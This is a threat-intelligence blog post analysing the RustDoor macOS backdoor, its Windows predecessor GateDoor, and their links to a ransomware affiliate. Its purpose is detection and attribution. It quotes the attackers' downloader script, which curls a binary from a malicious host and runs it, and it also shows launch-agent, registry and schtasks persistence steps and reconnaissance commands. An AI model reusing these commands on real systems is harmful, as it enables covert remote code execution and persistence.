Author: Minyeop Choi, Sojun Ryu, Sebin Lee, HuiSeong Yang | BLKSMTH

Last Modified : Feb 19, 2024

Photo By Robert Anasch on Unsplash

Executive Summary

Introduction

Recently, a lot of malware targeting macOS users has been discovered. ZuRu malware variant and macOS.Bkdr.Activator, which were distributed in pirated macOS applications are such cases.

On this background, attackers’ use of Golang and Rust, which support cross-platforms, is increasing, and the possibility of writing code more efficiently by utilizing AI technologies such as chatGPT and Copilot when developing malware has undoubtedly increased. It is also worth noting that attackers are putting a lot of effort into attacking the macOS environment as the number of MacBook users has increased since the introduction of Apple’s silicon chip. So, malware targeting macOS does malicious acts such as stealing information stored in macOS or secretly using device resources.

In December 2023, Talon, the threat research center in S2W, discovered that macOS malware named RustDoor (a reference to the name from BitDefender) disguised as a VisualStudio update is being distributed. At the time of discovery, not a single one was detected as malicious based on VirusTotal, which shows that malicious macOS target binaries written in Rust are more difficult to detect than Windows in current security products. This report covers a detailed analysis of the identified RustDoor malware and introduces Windows-targeting malware identified as the predecessor of RustDoor.

Attack Overview

We have identified the following key characteristics after tracking RustDoor malware over the past 3 months. S2W internally named the malware family GateDoor, but to distinguish it from BitDefender’s RustDoor, the macOS version will be called RustDoor, and the Windows malware version will be called GateDoor.

1. Cross Platform

The initial version of RustDoor is believed to have been produced based on Golang for the Windows environment and was developed at least before the end of September 2023. Afterward, the attacker targeted macOS and developed malware based on Rust, and it is believed that preparations for the attack were completed at least in December 2023. It is expected that the attacker developed the malware in Golang and Rust, with various environments in mind from the early stages of malware development. Additionally, it is expected that during this process, it was produced in Golang and then changed to Rust, which is more difficult to analyze. The macOS version of RustDoor targets Silicon MacBooks. Among the hunted RustDoor files, many file names start with localfile~ because each ARM and Intel binary in one RustDoor binary was separated and submitted to VirusTotal.
(Silicon binaries include binaries for both ARM and Intel versions.)

Figure 1. RustDoor malware reported in VirusTotal
Table 1. Filenames of RustDoor and GateDoor

2. Disguising as a legitimate file

RustDoor is disguised as a normal update program, as it is distributed under file names such as VisualStudioUpdater and ChromeUpdates.
In addition to file names, some specific words were used in distribution sites and C&C servers. In particular, keywords such as “Mac,” “iCloud,” and “Apple” related to Apple were used as the address of the C&C server.

It was confirmed that the GateDoor was distributed disguised as a normal WebViewHost utility. At the time, since it was distributed to Windows, general keywords were used in the domain address.

Table 2. The infrastructure of RustDoor and GateDoor

3. Initial stages

GateDoor and RustDoor seem to be distributed by encouraging people to download utilities or fake normal update programs through distribution sites disguised as normal. However, it has also been found that RustDoor was distributed under the guise of a job search theme.

GateDoor

GateDoor was distributed disguised as a utility called WebViewHost. The attacker distributed the legitimate WebViewHost utility in the form of a ZIP file or MSI file, and by applying the DLL Search Order Hijacking technique when the user runs the WebViewHost.exe file, the malicious WebView2Loader.dll file is loaded. After that, the DLL file downloads and executes the GateDoor malware from an external server. As confirmed, the edging.zip file was used in late September, and the BinMS.msi file was used in early November 2023. In the case of MSI files, files are created in the path below when executed.

The GateDoor Downloader contains the following config values, and these values are encrypted with a specific XOR key value (“nfmMoPCj”).
— GateDoor download base URL
— GateDoor download URL path
— File name saved locally after downloading
— HKEY_CURRENT_USERActivateS sub registry key value (MicrosoftEdging)

Figure 2. The infection process of GateDoor

In addition, the distribution method via MSI files discovered in early November 2023 included the MSI file, GateDoor Downloader, and GateDoor malware signed with a valid certificate.

RustDoor — Job search theme

In one case, it was found that RustDoor malware was distributed disguised as a job-related file. A shell script file that downloads RustDoor and normal document files was distributed with the file name Jobinfo.app.zip, and when the script file is executed, RustDoor malware is executed with the file name Previewers.

Figure 3. The infection process of the Job search theme RustDoor

| Table 3. Content of the shell script

#!/bin/sh
cd /tmp
curl -O -s https://turkishfurniture.blog/job.pdf
open job.pdf
cd "/Users/$(whoami)/"
curl -O -s https://turkishfurniture.blog/Previewers
chmod +x Previewers
./Previewers

4. Infrastructure

Among the attacker infrastructure, trendfilesalgol[.]com, confirmed to be the C&C server for the earliest GateDoor malware, was first assigned a Russian IP and finally a Romanian IP address of 192.29.13[.]152.

Table 4. IP allocation history for trendfilesalgol.com domain

desktop365metrics[.]com, used as a distribution site for GateDoor, has been used since August 23, 2023, and is hosted on Digital Ocean.

Table 5. IP allocation history for desktop365metrics.com domain

Later, 193.29.13[.]167, the earliest C&C among RustDoor’s C&C servers, was confirmed to be a Romanian IP. The maconlineoffice[.]com domain, one of the C&C domains, is also connected to the corresponding IP. From then on, hosting servers in Germany, the United States, Brazil, and Singapore were used.

Table 6. Information on RustDoor Infrastructure

The attacker initially built infrastructure through hosting companies in Eastern Europe, such as Russia and Romania. In particular, the Romanian IP (193.29.13.152) was used as a C&C server and domain registration site. When distributing malware, they avoided using IPs, created domains, and used various hosting servers worldwide. In this respect, there is a possibility that the attacker is geopolitically located in Eastern Europe.

Detailed Analysis

This chapter provides a detailed analysis of the RustDoor malware. This file is malware written in Rust, targets macOS, and can attack both Intel and Apple Silicon chipsets.

1. RustDoor v1

In the case of the early version of RustDoor, no separate configuration information exists internally. The early version of RustDoor registers malware in the macOS startup program by creating a new plist in the /Library/LaunchAgents path to maintain persistence.

| Table 7. Content of the plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.visualstudio</string>
<key>Program</key>
<string>{Path to RustDoor}</string>
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key>
<false/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

2. RustDoor v2

RustDoor v2, later updated, stores configuration information in JSON format within the malware to support various persistence methods depending on the situation. RustDoor reads the value immediately after execution and determines how to maintain persistence for each field.

| Table 8. Configuration in RustDoor

{
"daemonize": true,
"check_cron_asked": true,
"lock_in_cron": true,
"lock_in_dock": true,
"lock_in_launch": false,
"copy_files": true,
"apps": [ { "id": 1,
"name": "Firefox",
"path": "/Applications/Firefox.app/",
"icon": "/Applications/Firefox.app/Contents/Resources/firefox.icns",
"exec": "firefox",
"show_dialog": false,
"dialog_title": "title"
}, …

The setting values that confirm the function in the above settings are as follows.

Table 9. Role of each field in the configuration

3. Common malicious behavior

3.1 Register

RustDoor transmits information about the infected device to the C&C server through an HTTP POST request and receives the client’s unique ID from the server. The URL used here is [Base C2 URL]/gateway/register and the data below is delivered in JSON format.

Table 10. The information delivered for the register

Only a number is received as a response value without any other format; that number is the client ID given to the infected device.

3.2 Malicious Action

RustDoor periodically requests commands from the C&C server every second. Command requests are made to [Base C2 URL]/gateway/report and the assigned client ID is delivered in JSON format.

Table 11. Command request

The C&C server delivers the following data to RustDoor, which includes a command to be executed. RustDoor performs tasks corresponding to the name and is managed by assigning it to the ID.

Table 12. Command response

The list of commands and additional data required are as follows.

Table 13. List of commands

In the case of the “upload” command, only files from a specific path on the C&C server can be downloaded. This is done by downloading the file as a ZIP file and decompressing it to the work path.

In the case of the “download” command, the specified file is compressed into a temp.zip file and sent to the [Base C2 URL]/tasks/upload_file path.

When the task is completed, or the command result needs to be transmitted, RustDoor delivers the following data to [Base C2 URL]/gateway/task.

Table 14. Delivery of command results

4. GateDoor

GateDoor, designed to target the Windows operating system with endpoints and protocols similar to RustDoor, was additionally identified. The malware is written in Golang and is focused on executing arbitrary code or executable files in various ways.

4.1 Commonalities with RustDoor

GateDoor supports 3 of the 4 endpoints used by RustDoor, and future_task, a separate endpoint used only by GateDoor, has been additionally confirmed.

Table 15. The endpoint difference between RustDoor and GateDoor

Additionally, both GateDoor and RustDoor’s C&C servers are built with the Django REST Framework, so they return the same error message.

Figure 4. Error message when connecting to GateDoor C&C server (Left) / Figure 5. Error message when connecting to RustDoor C&C server (Right)

4.2 Difference between RustDoor

Because GateDoor targets the Windows operating system, the information when registering a device infected with malware differs from RustDoor.

Table 16. Information sent when registering in GateDoor

In the case of GateDoor, the client ID and a list of commands to be immediately executed are transmitted. The result of the command received with future is sent to the gateway/future_task endpoint.

Table 17. Response to registration

Afterward, the malware executes features to maintain persistence. GateDoor implements various methods to maintain persistence, but internal fixed values determine the method.

Note that the installation path of legitimate EXE file that loads the GateDoor downloader is C:Users[username]AppDataRoamingMicrosoftEdgingWebViewHost.exe.

  1. Register the EXE path into C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
  2. Register into the run registry to run GateDoor when boot-up
    — Path: SOFTWAREMicrosoftWindowsCurrentVersionRun
    — Key: MicrosoftOffice.Hub
    — Value: [The EXE path]

3. Utilize schtasks.exe
— schtasks.exe /Create /SC ONLOGON /F /TN MicrosoftEdging /TR [The EXE path]
— schtask.exe /Create /SC onidle /F /TN MicrosoftEdging /TR [The EXE path] /i 30

The command request through the gateway/report endpoint is the same, but the response value has an added field called exe_param, which is an argument required for file execution in addition to the argument for the command.

Table 18. Response to the command request

Unlike RustDoor, the commands supported by GateDoor support various features for executing arbitrary commands or additional files. RustDoor can be viewed as malware specialized in backdoor functions, while GateDoor is malware specialized in backdoor and loader functions.

Table 19. List of command

5. DataCollector

Additional malware was identified that communicated with the sarkerrentacars[.]com domain. It is equally written in Golang and uses the internal name DataCollector. DataCollector has commands to collect information on infected devices targeting Intel macOS devices and sending the output results to the command attacker’s server using the GET method. The commands that DataCollector executes to collect data are as follows. As a result, the stolen information includes system information, network information, software information, hardware information, registered daemon list, kernel parameter list, and disk information.

| Table 20. List of commands that DataCollector executes

system_profiler SPSoftwareDataType SPHardwareDataType
networksetup -listallnetworkservices
networksetup -listallhardwareports
launchctl list
sysctl -a
diskutil list

Attribution

In September 2023, Group-IB unveiled a new RaaS (Ransomware-as-a-Service) Affiliate called ShadowSyndicate. They identified 85 servers using the same SSH Fingerprint key from July 16, 2022, to September 2023, and these servers were used as C&C servers for malware such as Cobalt Strike, IcedID, and Sliver. Since these servers have been identified to be related to 7 ransomware groups, it is presumed that the group is an affiliate collaborating with several RaaS groups.

While tracking the infrastructure of the RustDoor malware, we found a correlation between the IP of the C&C server (193.29.13[.]167, 88.214.26[.]22) and ShadowSyndicate. As a result of pivoting the SSH Fingerprint key released by Group-IB, the 193.29.13[.]167 IP was discovered. Since the Issuer & JARM of the SSL certificate used by 193.29.13[.]167 and 88.214.26[.]22 are the same, the infrastructure is also suspected of being related to ShadowSyndicate. This information was already made known on X by Chris Duggan.

Figure 6. Association with ShadowSyndicate (Source: X)

We additionally traced the infrastructure of the GateDoor malware we identified. In this process, we discovered that many servers used the same SSH Fingerprint value as the IP(193.29.13[.]152) assigned to the C&C server domain (trendfilesalgol[.]com). As a result of investigating the servers, they were used as C&C servers for various malware such as Cobalt Strike, StealC, and TrueBot, and the watermark of Coblat Strike Beacon was the same as that mentioned by Group-IB. Among these, the watermark used by Clop (1580103824) and the Watermark used by ALPHV and Nokoyawa (674054486) were identified.

Figure 7. Correlation with SSH FingerPrint of GateDoor malware C&C server

It was also confirmed that many IPs (81.19.135[.]215, etc.) were mentioned among the additionally confirmed servers in the Medium content released by Joshuapenny.

Figure 8. Part of the IPs mentioned by Joshuapenny
(Source: Infrastructure Analysis: LockBit 3.0 Ransomware Affiliates Exploit CVE 2023–4966 Citrix Bleed Vulnerability)

Given that the above infrastructures are heavily linked to cybercriminals such as RaaS, we estimate that cybercriminals, not the APT group, are behind this malware. As previously disclosed by Chris Duggan, there is a connection with the ShadowSyndicate threat actor. This is supported by the fact that the method of distributing malware and the features of the malware are not yet sophisticated and that it is different from existing APT groups. However, given that the infrastructure identified as ShadowSyndicate is very extensive and many cyber-criminals are connected, we should consider the possibility of a cybercrime collaborator specializing in providing infrastructure.

Conclusion

Appendix A. IoCs

GateDoor

RustDoor

DataCollector

Network

Appendix B. MITRE ATT&CK

Execution

Persistence

Discovery

Command and Control

Exfiltration

The XZ Backdoor issue triggered by one untrusted maintainerS2W

S2W

in

S2W BLOG
The XZ Backdoor issue triggered by one untrusted maintainerAuthor: Minyeop Choi, Hosu Choi, Sojun Ryu | S2W TALON

33 min readApr 16, 2024

Detailed Analysis of DarkGate; Investigating new top-trend backdoor malwareS2W

S2W

in

S2W BLOG
Detailed Analysis of DarkGate; Investigating new top-trend backdoor malwareAuthor: Minyeop Choi | BLKSMTH

12 min readJan 16, 2024

Kimsuky disguised as a Korean company signed with a valid certificate to distribute Troll Stealer…S2W

S2W

in

S2W BLOG
Kimsuky disguised as a Korean company signed with a valid certificate to distribute Troll Stealer…Author: Jiho Kim & Sebin Lee | BLKSMTH

14 min readFeb 8, 2024

Ransomware Resurgence: A Deep Dive into 2023’s Threatscape and Risk AssessmentS2W

S2W

in

S2W BLOG
Ransomware Resurgence: A Deep Dive into 2023’s Threatscape and Risk AssessmentAuthor: Kyunghee Kim, Jiho Kim and Huiseong Yang | S2W TALON

16 min readApr 9, 2024

Threat Hunting - Suspicious User Agentsmthcht

mthcht

in

Detect FYI
Threat Hunting – Suspicious User AgentsHunting for Suspicious User Agents with Splunk

14 min readJan 1, 2024

1

Black and white pencil sketch of a Python snake wrapped around a computer displaying code, with subtle dark web elements and the Tor logo.Ervin Zubic

Ervin Zubic
Python for Dark Web OSINT: Automate Threat MonitoringLearn how to use Python to automate monitoring of dark web forums, leak sites, and marketplaces for actionable threat intelligence.

6 min read6 days ago

2

Malware Development Essentials Part 1Smukx

Smukx

in

System Weakness
Malware Development Essentials Part 1Become an Beginner to Intermediate on Maldev field. This covers Fundamentals, core concepts, Functions , OS Internets and more…

9 min readMar 27, 2024

Click me & get hacked: .LNK malwareMikołaj Prus ( nullorx )

Mikołaj Prus ( nullorx )
Click me & get hacked: .LNK malwareImagine a payload without any exploits or macros…

8 min readDec 17, 2023

The Best Laptop for Cyber Security in 2024 🔐Kelvin

Kelvin
The Best Laptop for Cyber Security in 2024 🔐This One If For All My IT People

10 min readMar 24, 2024

11

APT73/ERALEIG NEWS: UNVEILING NEW RANSOMWARE GROUPRakesh Krishnan

Rakesh Krishnan
APT73/ERALEIG NEWS: UNVEILING NEW RANSOMWARE GROUPNOTE: This is a preliminary report about a new Ransomware which I had unmasked during my Cyber Investigation. There is only a single…

6 min readApr 20, 2024

1

Source: https://medium.com/s2wblog/rustdoor-and-gatedoor-a-new-pair-of-weapons-disguised-as-legitimate-software-by-suspected-34c94e558b40

Tags: CVE, VULNERABILITY, EXFILTRATION, APT, APPLE, PAYLOAD, WINDOWS, BACKDOOR